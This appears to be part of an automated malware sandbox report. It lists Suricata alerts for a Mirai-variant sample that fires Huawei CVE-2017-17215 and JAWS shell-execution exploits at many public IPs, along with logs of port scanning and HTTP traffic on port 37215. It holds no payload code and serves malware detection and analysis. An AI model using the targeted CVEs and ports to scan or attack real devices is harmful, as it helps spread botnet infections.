Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55996 -> 197.184.55.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34406 -> 197.18.155.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35432 -> 197.140.198.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39442 -> 156.38.120.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33312 -> 41.137.149.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39302 -> 41.42.97.91:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46400 -> 45.194.68.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46400 -> 45.194.68.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44814 -> 166.69.38.11:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44814 -> 166.69.38.11:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53970 -> 41.143.170.145:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36842 -> 140.103.181.245:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36842 -> 140.103.181.245:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49632 -> 95.190.251.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49632 -> 95.190.251.224:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39742 -> 197.9.50.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54220 -> 197.57.159.86:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40786 -> 100.128.226.100:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40786 -> 100.128.226.100:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54958 -> 66.126.50.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54958 -> 66.126.50.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57412 -> 144.198.200.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45988 -> 38.21.217.178:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45988 -> 38.21.217.178:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57412 -> 144.198.200.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48476 -> 27.49.26.62:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48476 -> 27.49.26.62:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45776 -> 156.198.75.255:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49754 -> 41.189.117.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34962 -> 197.219.115.254:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42964 -> 210.98.247.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42964 -> 210.98.247.137:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.233.212.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.247.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.55.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.138.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.68.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.114.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.91.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.220.37.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.209.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.0.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.85.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.253.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.164.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.217.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.221.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.60.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.143.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.34.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.89.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.253.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.128.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.133.89.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.6.117.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.55.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.153.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.245.159.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.243.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.176.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.156.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.74.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.142.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.130.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.36.206.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.14.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.52.158.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.99.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.174.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.29.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.130.38.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.227.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.38.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.16.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.226.199.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.31.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.4.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.206.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.100.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.119.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.199.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.69.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.136.27.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.137.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.22.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.21.216.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.187.253.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.96.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.159.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.92.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.88.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.228.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.199.137.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.127.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.43.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.216.228.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.157.56.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.131.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.70.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.132.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.201.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.224.61.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.105.45.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.63.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.122.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.106.39.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.249.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.240.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.112.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.6.177.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.18.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.252.236.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.108.80.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.212.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.254.209.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.211.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.202.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.208.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.181.176.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.84.184.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.13.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.19.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.16.66.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.231.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.214.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.88.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.130.126.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.203.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.5.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.230.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.219.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.47.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.133.19.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.172.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.124.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.143.58.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.27.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.229.139.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.219.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.177.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.42.148.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.25.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.154.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.8.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.162.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.102.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.238.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.126.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.68.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.65.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.182.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.42.18.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.125.31.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.39.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.89.241.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.236.21.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.232.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.39.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.100.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.169.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.142.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.139.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.136.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.212.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.187.4.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.57.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.219.176.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.23.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.162.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.234.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.153.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.58.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.211.41.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.200.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.96.23.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.26.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.107.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.174.5.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.0.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.224.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.10.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.65.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.81.108.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.236.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.115.67.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.45.20.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.97.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.118.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.244.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.4.146.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.234.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.88.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.45.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.59.108.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.173.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.195.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.60.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.158.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.36.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.33.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.48.209.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.183.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.71.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.20.186.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.89.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.192.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.47.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.230.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.27.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.117.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.91.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.10.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.217.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.252.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.148.175.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.61.114.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.130.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.16.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.12.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.141.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.86.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.157.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.107.220.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.42.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.80.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.205.121.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.120.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.48.103.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.98.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.146.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.233.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.11.104.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.97.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.190.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.181.48.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.89.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.78.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.64.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.170.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.110.225.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.140.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.186.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.67.10.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.175.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.213.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.16.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.77.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.159.173.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.93.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.182.193.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.83.9.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.152.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.240.21.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.98.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.236.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.20.235.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.5.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.94.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.178.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.156.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.159.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.127.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.215.137.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.36.78.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.19.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.82.9.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.159.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.173.125.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.153.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.7.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.101.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.162.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.174.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.100.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.224.55 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59662 -> 37215
